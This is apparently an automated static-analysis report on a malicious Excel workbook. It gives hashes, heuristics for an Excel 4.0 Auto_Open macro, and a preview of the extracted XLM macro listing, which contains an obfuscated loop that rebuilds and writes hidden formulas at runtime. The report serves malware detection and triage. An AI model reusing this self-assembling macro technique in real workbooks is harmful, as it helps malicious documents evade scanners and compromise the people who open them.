Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5a2d28390dbcfeb5…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:40:36 Authoring application: Microsoft Excel First seen: 2021-04-25
MD5: 5bda6ec27bd34f9a87b5655cee8785f8 SHA-1: 46ab87b3564a0cea67ef99010c46ac80679c256e SHA-256: 5a2d28390dbcfeb5d8ea3aa052b4d39cfd226095c19719b78dd3deb2a6cca58f
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6337 bytes
SHA-256: b480be711abe3acc6e4861d3555b1cb7a6a1235242f2978f09893b84f8a2306f
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  HwH
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H150 
' 0018     25 LABEL : Cell Value, String Constant - CxhndDWfRv len=0 
' 0018     27 LABEL : Cell Value, String Constant - DtnbbnUXculy len=0 
' 0018     21 LABEL : Cell Value, String Constant - FLFamO len=0 
' 0018     22 LABEL : Cell Value, String Constant - FSQMvlJ len=0 
' 0018     22 LABEL : Cell Value, String Constant - gLlfNQy len=0 
' 0018     22 LABEL : Cell Value, String Constant - hKWLrvx len=0 
' 0018     22 LABEL : Cell Value, String Constant - JgyZbjO len=0 
' 0018     21 LABEL : Cell Value, String Constant - kMmKVF len=0 
' 0018     21 LABEL : Cell Value, String Constant - LOizxC len=0 
' 0018     26 LABEL : Cell Value, String Constant - NAnQyRavmjA len=0 
' 0018     27 LABEL : Cell Value, String Constant - nOYpNAHoaqZI len=0 
' 0018     20 LABEL : Cell Value, String Constant - odway len=0 
' 0018     21 LABEL : Cell Value, String Constant - paMxie len=0 
' 0018     22 LABEL : Cell Value, String Constant - qrRQdHi len=0 
' 0018     24 LABEL : Cell Value, String Constant - SVHlFlbUI len=0 
' 0018     27 LABEL : Cell Value, String Constant - szTfrJovScYf len=0 
' 0018     26 LABEL : Cell Value, String Constant - UdAkAapsGhj len=0 
' 0018     22 LABEL : Cell Value, String Constant - XkbHogv len=0 
' 0018     25 LABEL : Cell Value, String Constant - xludRRAwKY len=0 
' 0018     22 LABEL : Cell Value, String Constant - zTWnwwV len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  HwH,H50,"SET.NAME("paMxie",VALUE("0"))",""
'  HwH,H54,"SET.NAME("LOizxC",paMxie)",""
'  HwH,H58,"SET.NAME("xludRRAwKY",paMxie)",""
'  HwH,H63,"SET.NAME("kMmKVF",COUNTA(FLFamO))",""
'  HwH,H66,"SET.NAME("UdAkAapsGhj",COUNTA(gLlfNQy))",""
'  HwH,H68,[],""
'  HwH,H70,"SET.NAME("NAnQyRavmjA","")",""
'  HwH,H73,"LOizxC",""
'  HwH,H78,"SET.NAME("SVHlFlbUI",HLOOKUP("*",FLFamO,LOizxC,FALSE))",""
'  HwH,H83,"szTfrJovScYf",""
'  HwH,H87,"SET.NAME("CxhndDWfRv",paMxie)",""
'  HwH,H89,[],""
'  HwH,H93,"CxhndDWfRv",""
'  HwH,H97,"zTWnwwV",""
'  HwH,H102,"DtnbbnUXculy",""
'  HwH,H107,"odway",""
'  HwH,H110,"SET.NAME("qrRQdHi",VALUE(HLOOKUP("*",gLlfNQy,odway,FALSE)))",""
'  HwH,H114,"nOYpNAHoaqZI",""
'  HwH,H118,"NAnQyRavmjA",""
'  HwH,H123,"xludRRAwKY",""
'  HwH,H128,NEXT(),""
'  HwH,H132,"FSQMvlJ",""
'  HwH,H137,"SET.NAME("f",INT(T(FORMULA(T(NAnQyRavmjA)&"",""&T(FSQMvlJ)))))",""
'  HwH,H139,"JgyZbjO",""
'  HwH,H141,NEXT(),""
'  HwH,H146,RETURN(),""
'  HwH,H183,"SET.NAME("XkbHogv",H50)",""
'  HwH,H188,"FLFamO",""
'  HwH,H192,"SET.NAME("gLlfNQy",R51C11)",""
'  HwH,H196,"SET.NAME("JgyZbjO",203)",""
'  HwH,H200,"SET.NAME("hKWLrvx",8)",""
'  HwH,H202,XkbHogv(),""
'  HwH,H203,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.